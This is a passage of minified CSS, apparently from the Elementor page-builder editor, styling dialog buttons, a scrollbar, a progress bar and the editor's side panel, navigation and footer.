.dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not([disabled]), .dialog-type-alert .dialog-buttons-wrapper .dialog-button:not([disabled]) { cursor: pointer; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:disabled { background-color: var(--e-a-btn-bg-disabled); color: var(--e-a-btn-color-disabled); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:not(.elementor-button-state) .elementor-state-icon { display: none; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel { background: transparent; color: var(--e-a-color-txt); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:focus { background: var(--e-a-bg-hover); color: var(--e-a-color-txt-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt:disabled, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel:disabled { background: transparent; color: var(--e-a-color-txt-disabled); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt-border, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt-border { border: 1px solid var(--e-a-color-txt-muted); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success { background-color: var(--e-a-btn-bg-success); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-success:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-success:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-success:focus { background-color: var(--e-a-btn-bg-success-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok { background-color: var(--e-a-btn-bg-primary); color: var(--e-a-btn-color); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok:focus { background-color: var(--e-a-btn-bg-primary-hover); color: var(--e-a-btn-color); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel { background: transparent; color: var(--e-a-color-primary-bold); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.e-btn-txt:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-primary.dialog-cancel:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-cancel.dialog-take_over:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-btn-txt.dialog-ok:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.dialog-ok.dialog-cancel:focus { background: var(--e-a-bg-primary); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent { background-color: var(--e-a-btn-bg-accent); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:focus { background-color: var(--e-a-btn-bg-accent-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.go-pro:active, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-accent:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.go-pro:active, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-accent:active { background-color: var(--e-a-btn-bg-accent-active); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info { background-color: var(--e-a-btn-bg-info); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-info:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-info:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-info:focus { background-color: var(--e-a-btn-bg-info-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning { background-color: var(--e-a-btn-bg-warning); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-warning:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-warning:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-warning:focus { background-color: var(--e-a-btn-bg-warning-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger { background-color: var(--e-a-btn-bg-danger); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button.e-danger:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.elementor-button-danger:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button.e-danger:focus { background-color: var(--e-a-btn-bg-danger-hover); } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button i, .dialog-type-alert .dialog-buttons-wrapper .dialog-button i { margin-inline-end: 5px; } .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-confirm .dialog-buttons-wrapper .dialog-button:visited, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:hover, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:focus, .dialog-type-alert .dialog-buttons-wrapper .dialog-button:visited { color: initial; } /* * Container style */ .ps { overflow: hidden !important; overflow-anchor: none; touch-action: auto; } /* * Scrollbar rail styles */ .ps__rail-y { display: none; opacity: 0; transition: background-color 0.2s linear, opacity 0.2s linear; width: 15px; /* there must be 'right' or 'left' for ps__rail-y */ right: 0; left: initial !important; /* please don't change 'position' */ position: absolute; } .ps--active-y > .ps__rail-y { display: block; background-color: transparent; } .ps:hover > .ps__rail-y, .ps--focus > .ps__rail-y, .ps--scrolling-y > .ps__rail-y { opacity: 0.6; } .ps .ps__rail-y:hover, .ps .ps__rail-y:focus, .ps .ps__rail-y.ps--clicking { opacity: 0.9; } .ps__thumb-y { background-color: #aaa; border-radius: 6px; transition: background-color 0.2s linear, width 0.2s ease-in-out; width: 6px; /* there must be 'right' for ps__thumb-y */ right: 2px; /* please don't change 'position' */ position: absolute; } .ps__rail-y:hover > .ps__thumb-y, .ps__rail-y:focus > .ps__thumb-y, .ps__rail-y.ps--clicking .ps__thumb-y { background-color: #999; width: 6px; } /* Make clicks pass-through */ #nprogress { pointer-events: none; } #nprogress .bar { background: #D004D4; position: fixed; z-index: 1031; top: 0; left: 0; width: 100%; height: 2px; } /* Fancy blur effect */ #nprogress .peg { display: block; position: absolute; right: 0; width: 100px; height: 100%; box-shadow: 0 0 10px #D004D4, 0 0 5px #D004D4; opacity: 1; transform: rotate(3deg) translate(0px, -4px); } /* Remove these to get rid of the spinner */ #nprogress .spinner { display: none; position: fixed; z-index: 1031; top: 15px; right: 15px; } #nprogress .spinner-icon { width: 18px; height: 18px; box-sizing: border-box; border: solid 2px transparent; border-block-start-color: #D004D4; border-inline-start-color: #D004D4; border-radius: 50%; animation: nprogress-spinner 400ms linear infinite; } .nprogress-custom-parent { overflow: hidden; position: relative; } .nprogress-custom-parent #nprogress .spinner, .nprogress-custom-parent #nprogress .bar { position: absolute; } @keyframes nprogress-spinner { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } #nprogress .bar, #nprogress .spinner { z-index: 100000; } :root { --e-is-preview-mode: 0; } @media (max-width: 1439px) { :root { --e-editor-panel-width: 280px; } } @media (min-width: 1440px) { :root { --e-editor-panel-width: 300px; } } .elementor-panel { position: relative; height: 100%; margin-inline-start: calc(-1 * var(--e-editor-panel-width) * var(--e-is-preview-mode)); width: var(--e-editor-panel-width); overflow: visible; background-color: var(--e-a-bg-default); z-index: 1; font-family: var(--e-a-font-family); font-size: 13px; right: 0; } .elementor-panel h1, .elementor-panel h2, .elementor-panel h3, .elementor-panel h4, .elementor-panel h5, .elementor-panel h6 { font-size: 100%; font-weight: normal; } .elementor-panel abbr, .elementor-panel acronym { border: 0; font-variant: normal; } .elementor-panel sup { vertical-align: text-top; } .elementor-panel sub { vertical-align: text-bottom; } .elementor-panel img { max-width: 100%; height: auto; border: 0; } .elementor-panel :focus { outline: 0; } .elementor-panel .elementor-panel-box-content { padding: 20px 20px 10px; } .elementor-panel .elementor-button { display: inline-block; } .elementor-panel .elementor-panel-alert { background-color: var(--e-a-bg-primary); padding: 15px; border-inline-start: 3px solid var(--e-a-color-primary); position: relative; font-size: 12px; font-weight: 300; font-style: italic; line-height: 1.5; text-align: start; border-start-start-radius: 0; border-start-end-radius: 3px; border-end-start-radius: 0; border-end-end-radius: 3px; } .elementor-panel .elementor-panel-alert a { color: inherit; } .elementor-panel .elementor-panel-alert.elementor-panel-alert-info { border-color: var(--e-a-color-info); background: var(--e-a-bg-info); } .elementor-panel .elementor-panel-alert.elementor-panel-alert-success { border-color: var(--e-a-color-success); background: var(--e-a-bg-success); } .elementor-panel .elementor-panel-alert.elementor-panel-alert-warning { border-inline-start: 3px solid var(--e-a-color-warning); background: var(--e-a-bg-warning); } .elementor-panel .elementor-panel-alert.elementor-panel-alert-danger { border-color: var(--e-a-color-danger); background: var(--e-a-bg-danger); } .elementor-panel .elementor-descriptor, .elementor-panel .elementor-control-field-description { font-size: 11px; font-style: italic; line-height: 1.4; color: var(--e-a-color-txt-muted); } .elementor-panel .elementor-controls-popover { display: none; position: absolute; box-shadow: var(--e-a-popover-shadow); border-radius: var(--e-a-border-radius); left: 0; right: 0; margin: -4px auto 5px; padding-block-start: 15px; width: 90%; z-index: 10000; background-color: var(--e-a-bg-default); } .elementor-panel .elementor-controls-popover:before { content: ""; position: absolute; top: -16px; left: 22px; border: 8px solid transparent; border-block-end-color: var(--e-a-bg-default); } .elementor-panel .elementor-controls-popover div.elementor-control { background-color: transparent; } .elementor-panel .elementor-controls-popover div.elementor-control:before { content: none; } .elementor-panel #elementor-panel-global .elementor-nerd-box .elementor-nerd-box-icon { margin-block-start: 20px; } .elementor-editor-preview .elementor-panel { --e-is-preview-mode: 1; } .elementor-editor-preview .elementor-panel > .ui-resizable-e, .elementor-editor-preview .elementor-panel > .ui-resizable-w { display: none; } .elementor-editor-preview .elementor-panel #elementor-panel-elements-wrapper { display: flex; flex-direction: column; } .elementor-panel .ps__rail-y { z-index: 2; } .elementor-panel .elementor-responsive-panel { padding: 0 15px; display: grid; gap: 10px; grid-template-columns: repeat(auto-fill, minmax(min(135px, 50% - 5px), 1fr)); } .elementor-panel .elementor-responsive-panel > .e-responsive-panel-stretch { grid-column: 1/-1; } .elementor-panel #elementor-panel-header { display: flex; align-items: center; justify-content: space-between; height: 40px; width: 100%; background-color: var(--e-a-dark-bg); color: var(--e-a-color-white); } .elementor-panel #elementor-panel-header > * { display: flex; align-items: center; justify-content: center; } .elementor-panel .elementor-header-button { width: 40px; border: 0; color: currentColor; background-color: transparent; } .elementor-panel .elementor-header-button .elementor-icon { cursor: pointer; display: block; font-size: 19px; height: 40px; line-height: 40px; transition: var(--e-a-transition-hover); } .elementor-panel .elementor-header-button .elementor-icon.eicon-menu-bar { font-size: 18px; } .elementor-panel .elementor-header-button:hover, .elementor-panel .elementor-header-button:focus { color: var(--e-a-dark-color-txt-hover); } .elementor-panel #elementor-panel-header-title { flex: 1; font-size: 15px; font-weight: 700; } .elementor-panel #elementor-panel-header-title img { width: 90px; } .elementor-panel #elementor-panel-elements-categories { padding-block-end: 10px; position: relative; } .elementor-panel .elementor-panel-category { position: relative; border-block-end: var(--e-a-border); } .elementor-panel .elementor-panel-category .elementor-panel-heading { padding: 0 15px; border: none; background-color: transparent; } .elementor-panel .elementor-panel-category.elementor-active .elementor-panel-heading { border: none; } .elementor-panel .elementor-panel-category-items { padding-block-end: 20px; } .elementor-panel .elementor-panel-category-items-empty { grid-column-start: 1; grid-column-end: 3; } .elementor-panel #elementor-panel-page-menu { padding: 25px 15px; } .elementor-panel .elementor-panel-menu-group-title { text-transform: uppercase; font-size: 11px; } .elementor-panel .elementor-panel-menu-items { border: var(--e-a-border); margin: 15px 0 25px; border-radius: 5px; overflow: hidden; } .elementor-panel .elementor-panel-menu-item { display: flex; align-items: center; width: 100%; height: 40px; transition: var(--e-a-transition-hover); border: 0; background-color: transparent; cursor: pointer; } .elementor-panel .elementor-panel-menu-item:not(:last-child) { border-block-end: var(--e-a-border); } .elementor-panel .elementor-panel-menu-item:hover, .elementor-panel .elementor-panel-menu-item:focus { background-color: var(--e-a-bg-hover); } .elementor-panel .elementor-panel-menu-item:active { background-color: var(--e-a-bg-active); color: var(--e-a-color-txt-accent); } .elementor-panel .elementor-panel-menu-item-icon { text-align: center; width: 30px; flex-shrink: 0; padding: 10px 0; margin: 0 10px; font-size: 19px; } .elementor-panel .elementor-panel-menu-item-title { display: flex; flex-grow: 1; font-weight: 500; justify-content: space-between; } .elementor-panel .elementor-panel-menu-item-title-badge { margin: 0 10px; background: var(--e-a-color-white); border-radius: var(--e-a-border-radius); } .elementor-panel .elementor-panel-menu-item-title > span { color: var(--e-a-color-accent); } .elementor-panel .elementor-panel-menu-item a { display: flex; align-items: center; color: inherit; width: 100%; height: 100%; padding-inline-start: 10px; padding: 10px 0; } .elementor-panel .elementor-control.elementor-control-clear_page { background-color: transparent; } .elementor-panel .elementor-control.elementor-control-clear_page .elementor-control-raw-html { display: flex; align-items: center; justify-content: space-between; } .elementor-panel .elementor-panel-navigation { display: flex; width: 100%; border-block-end: var(--e-a-border); } .elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab { all: unset; flex: auto; transition: var(--e-a-transition-hover); border-block-end: 3px solid transparent; cursor: pointer; } .elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab:hover, .elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab:focus { background-color: var(--e-a-bg-hover); } .elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab:focus { outline: 0; } .elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab.elementor-active { border-color: var(--e-a-border-color-accent); color: var(--e-a-color-txt-accent); } .elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab.elementor-active span { color: var(--e-a-color-txt-accent); } .elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab span { color: inherit; display: block; text-align: center; padding: 12px 0 8px; font-size: 10px; } .elementor-panel .elementor-panel-navigation .elementor-panel-navigation-tab span:before { font-family: eicons; font-size: 16px; display: block; margin-block-end: 8px; } .elementor-panel .elementor-tab-control-content span:before { content: "\e92c"; } .elementor-panel .elementor-tab-control-style span:before { content: "\e921"; } .elementor-panel .elementor-tab-control-settings span:before { content: "\e940"; } .elementor-panel .elementor-tab-control-advanced-tab-floating-buttons span:before, .elementor-panel .elementor-tab-control-advanced-tab-links-in-bio span:before, .elementor-panel .elementor-tab-control-advanced-tab-floating-bars span:before, .elementor-panel .elementor-tab-control-advanced span:before, .elementor-panel .elementor-tab-control-general_style span:before { content: "\e916"; } .elementor-panel .elementor-tab-control-responsive span:before { content: "\e885"; } .elementor-panel .elementor-tab-control-lightbox span:before { content: "\e922"; } .elementor-panel .elementor-tab-control-layout span:before, .elementor-panel .elementor-tab-control-column span:before { content: "\e899"; } .elementor-panel #elementor-panel__editor__help { padding: 50px 25px; display: flex; align-items: center; justify-content: center; } .elementor-panel #elementor-panel__editor__help__link { display: inline-flex; align-items: center; justify-content: center; font-size: 85%; line-height: 2; padding-inline-start: 5px; color: inherit; font-weight: 500; transition: var(--e-a-transition-hover); } .elementor-panel #elementor-panel__editor__help__link:hover, .elementor-panel #elementor-panel__editor__help__link:focus { color: var(--e-a-color-info); } .elementor-panel #elementor-panel__editor__help__link i { padding: 0 5px; font-size: 125%; position: relative; } .elementor-panel #elementor-panel__editor__help__link i:after { content: ""; position: absolute; height: 13px; width: 13px; top: 3px; bottom: 0; right: 8px; left: 0; border-radius: 50%; z-index: -1; } .elementor-panel #elementor-panel-footer { position: relative; height: 40px; background-color: var(--e-a-dark-bg); color: var(--e-a-dark-color-txt); } .elementor-panel #elementor-panel-footer-tools { display: flex; justify-content: space-between; height: 100%; } .elementor-panel .elementor-panel-footer-tool { display: flex; align-items: center; justify-content: center; width: 15%; cursor: pointer; transition: var(--e-a-transition-hover); border: 0; color: currentColor; background-color: transparent; } .elementor-panel .elementor-panel-footer-tool i { font-size: 15px; } .elementor-panel .elementor-panel-footer-tool #elementor-panel-saver-button-save-options i.eicon-chevron-right { margin: auto; transform: rotate(270deg); } .elementor-panel .elementor-panel-footer-tool #elementor-panel-saver-button-save-options.elementor-disabled { cursor: inherit; } .elementor-panel .elementor-panel-footer-tool:not(.e-open):hover, .elementor-panel .elementor-panel-footer-tool:not(.e-open):focus { color: var(--e-a-dark-color-txt-hover); } .elementor-panel .elementor-panel-footer-tool:not(.e-open) .elementor-panel-footer-sub-menu-wrapper { display: none; } .elementor-panel #elementor-panel-footer-saver-publish { width: 30%; margin-inline-start: auto; } .elementor-panel #elementor-panel-footer-saver-publish .elementor-button-state i { margin-inline-end: 0; } .elementor-panel #elementor-panel-footer-saver-publish .elementor-button-state #elementor-panel-saver-button-publish-label { display: none; } .elementor-panel #elementor-panel-footer-saver-options { width: 10%; } .elementor-panel #elementor-panel-footer-saver-options .elementor-last-edited-wrapper { font-size: 11px; font-style: italic; padding: 5px 0 15px; } .elementor-panel #elementor-panel-footer-saver-options .elementor-last-edited-wrapper:not(.elementor-state-active) .elementor-state-icon { display: none; } .elementor-panel #elementor-panel-footer-saver-options .elementor-last-edited-wrapper time { border-block-end: 1px dotted transparent; transition: all ease-in-out 0.3s; cursor: pointer; } .elementor-panel #elementor-panel-footer-saver-options .elementor-last-edited-wrapper time:hover { border-block-end-color: inherit; } .elementor-panel #elementor-panel-footer-saver-options.e-open i.eicon-chevron-right { transform: rotate(90deg); } .elementor-panel #elementor-panel-saver-button-publish, .elementor-panel #elementor-panel-saver-button-save-options { padding: 0; font-size: 11px; height: 100%; width: 100%; border-radius: 0; } .elementor-panel #elementor-panel-saver-button-publish.elementor-disabled, .elementor-panel #elementor-panel-saver-button-save-options.elementor-disabled { background-color: #1f2124; color: #9DA5AE; } .elementor-panel #elementor-panel-saver-button-publish:not(.elementor-disabled) { border-inline-end: 1px solid #F0ABFC; } .elementor-panel #elementor-panel-saver-button-publish.elementor-disabled { border-inline-end: 1px solid #3f444b; } .elementor-panel .elementor-panel-footer-sub-menu-wrapper { position: absolute; bottom: 100%; left: 0; width: 100%; background-color: #1f2124; padding: 10px; box-shadow: -2px -5px 8px rgba(0, 0, 0, 0.1); cursor: default; z-index: 10000; } .elementor-panel .elementor-panel-footer-sub-menu { border-radius: var(--e-border-radius); overflow: hidden; border: 1px solid #3f444b; } .elementor-panel .elementor-panel-footer-sub-menu-item { display: flex; height: 40px; color: #D5D8DC; align-items: center; -moz-column-gap: 10px; column-gap: 10px; padding: 0 20px; transition: var(--e-a-transition-hover); cursor: pointer; } .elementor-panel .elementor-panel-footer-sub-menu-item.elementor-disabled { cursor: default; color: #69727D; } .elementor-panel .elementor-panel-footer-sub-menu-item:not(:last-child) { border-block-end: 1px solid #3f444b; } .elementor-panel .elementor-panel-footer-sub-menu-item:hover { background-color: rgba(255, 255, 255, 0.1); } .elementor-panel .elementor-panel-footer-sub-menu-item.active { background-color: rgba(255, 255, 255, 0.2); } #elementor-panel-elements-navigation .elementor-panel-navigation-tab { text-align: center; padding: 10px 0; font-size: 12px; cursor: pointer; } #elementor-panel-elements { overflow: hidden; } #elementor-panel-state-loading { display: none; } body.elementor-panel-loading #elementor-panel-state-loading { position: absolute; top: 0; left: 0; height: 100%; width: 100%; display: flex; align-items: center; justify-content: center; background-color: rgba(255, 255, 255, 0.5); z-index: 2; } #elementor-panel-state-loading .eicon-loading { font-size: 25px; color: var(--e-a-color-txt-accent); } #elementor-panel-elements-search-area { background-color: var(--e-a-bg-default); position: sticky; top: 0; padding: 15px; z-index: 1; } #elementor-panel-elements-search-wrapper { position: relative; } #elementor-panel-elements-search-input { font-size: 11px; padding-block: 10px; padding-inline: 29px 10px; font-style: italic; border: var(--e-a-border-bold); border-radius: 0; transition: all 1s; -webkit-appearance: none; -moz-appearance: none; appearance: none; } #elementor-panel-elements-search-input + i { position: absolute; right: 10px; top: 50%; color: var(--e-a-color-txt-disabled); transform: translateY(-50%); } #elementor-panel-elements-search-input:focus { border-color: var(--e-a-border-color-focus); padding-inline-end: 15px; } .elementor-panel .elementor-element { font-family: var(--e-a-font-family); color: var(--e-a-color-txt); line-height: 1; text-align: center; border: var(--e-a-border-bold); border-radius: 3px; cursor: move; position: relative; transition: var(--e-a-transition-hover); width: 100%; background-color: transparent; } .elementor-panel .elementor-element--promotion .elementor-element { cursor: pointer; -webkit-user-select: none; -moz-user-select: none; user-select: none; } .elementor-panel .elementor-element:hover, .elementor-panel .elementor-element:focus { background-color: var(--e-a-bg-hover); border-color: var(--e-a-border-color-bold); } .elementor-panel .elementor-element:hover > .eicon-lock, .elementor-panel .elementor-element:focus > .eicon-lock { color: var(--e-a-color-accent); } .elementor-panel .elementor-element .icon { font-size: 28px; padding-block-start: 15px; } .elementor-panel .elementor-element .title-wrapper { display: flex; height: 40px; align-items: center; justify-content: center; } .elementor-panel .elementor-element .title { font-size: 12px; } .elementor-panel .elementor-element > .eicon-lock { position: absolute; top: 5px; left: 5px; color: var(--e-a-color-txt-disabled); } .elementor-panel .elementor-element:active { background-color: var(--e-a-bg-hover); border-color: var(--e-a-border-color-accent); color: var(--e-a-color-txt-accent); } #elementor-element--promotion__dialog { position: absolute; width: 300px; z-index: 1; background-color: var(--e-a-bg-default); box-shadow: var(--e-a-popover-shadow); border-radius: var(--e-a-border-radius); } #elementor-element--promotion__dialog:after { content: ""; position: absolute; top: 15px; left: 100%; transform: scaleY(0.7); border: 10px solid transparent; border-inline-end-color: var(--e-a-bg-default); } #elementor-element--promotion__dialog__title { font-size: 14px; } #elementor-element--promotion__dialog .dialog-header { display: flex; padding: 20px; border-block-end: var(--e-a-border); font-weight: 500; } #elementor-element--promotion__dialog .dialog-header .eicon-pro-icon { flex-grow: 1; margin-inline-start: 10px; font-size: 14px; color: var(--e-a-color-accent); } #elementor-element--promotion__dialog .dialog-header .eicon-close { cursor: pointer; color: 